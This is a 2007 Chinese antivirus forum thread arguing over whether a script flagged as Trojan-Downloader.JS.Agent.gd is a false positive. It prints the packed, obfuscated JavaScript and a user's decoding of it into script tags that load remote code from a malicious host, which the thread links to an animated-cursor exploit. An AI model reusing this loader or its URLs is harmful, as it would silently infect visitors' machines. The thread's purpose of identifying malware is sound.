只有卡巴和AVG AntiSpyware报

yzt1004

除了AVG AntiSpyware和卡巴引擎的都坚决不报
说AVG AntiSpyware垃圾的朋友，证据上门了，AVG AntiSpyware就是喜欢不停地“误报”，是不是？？
Ewido        4.0        05.19.2007        Downloader.Agent.gd
F-Secure        6.70.13030.0        05.18.2007        Trojan-Downloader.JS.Agent.gd
Ikarus        T3.1.1.7        05.19.2007        Trojan-Downloader.JS.Agent.gd
Kaspersky        4.0.2.24        05.19.2007        Trojan-Downloader.JS.Agent.gd

[ 本帖最后由 yzt1004 于 2007-5-20 09:44 编辑 ]

promised

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('A("\\u\\f\\6\\b\\h\\a\\c\\1\\9\\g\\4\\8\\1\\a\\t\\c\\s\\5\\e\\2\\6\\4\\8\\7\\1\\r\\2\\4\\6\\q\\0\\5\\p\\1\\1\\7\\o\\0\\3\\0\\3\\n\\m\\l\\9\\b\\2\\0\\3\\f\\k\\0\\3\\z\\a\\4\\c\\b\\h\\9\\j\\2\\0\\5\\d\\e\\0\\3\\2\\6\\4\\8\\7\\1\\d\\5\\i\\y\\x\\w\\u\\f\\6\\b\\h\\a\\c\\1\\9\\g\\4\\8\\1\\a\\t\\c\\s\\5\\e\\2\\6\\4\\8\\7\\1\\r\\2\\4\\6\\q\\0\\5\\p\\1\\1\\7\\o\\0\\3\\0\\3\\n\\m\\l\\9\\b\\2\\0\\3\\f\\k\\0\\3\\v\\a\\g\\9\\j\\2\\0\\5\\d\\e\\0\\3\\2\\6\\4\\8\\7\\1\\d\\5\\i")',37,37,'134|164|163|57|162|42|143|160|151|56|145|165|156|76|74|157|167|155|51|152|113|141|66|61|72|150|75|40|50|154|144|116|12|15|73|126|eval'.split('|'),0,{}))
不会解密
你这么激动干吗？

[ 本帖最后由 promised 于 2007-5-19 19:56 编辑 ]

gwg829

至于单开一帖这么说卡巴　　

tun

这百分百是木马
解=
document.writeln("<script src=\"http:\/\/16a.us\/oK\/Vernum.js\"><\/script>");
document.writeln("<script src=\"http:\/\/16a.us\/oK\/New.js\"><\/script>")
http://16a.us/oK/New.js 挂 Ani-Exploit >> http://16a.us/oK/MyTest2.jpg

New.js - Trojan-Downloader.JS.Agent.gd 他们是一对的吧？

当然单纯看不是木马，只是挂个脚本，Kaspersky Lab 应该检视过整个内容了才决定报他。

[ 本帖最后由 tun 于 2007-5-19 20:14 编辑 ]

http://bbs.kafan.cn/viewthread.php?tid=86556&extra=page%3D2
大家都掀起了反avg的热潮

bridgewr

脚本一个

taihuxian

Website blocked!
G DATA InternetSecurity has denied access to this website.
The site contains infected code: Trojan-Downloader.JS.Agent.gd.

yzt1004

有没有人鉴定一下到底是不是误报啊？
人呢？

chow2006

只有卡巴和AVG AntiSpyware报?

[ 本帖最后由 chow2006 于 2007-5-20 12:45 编辑 ]

yzt1004

去Virustotal测试过了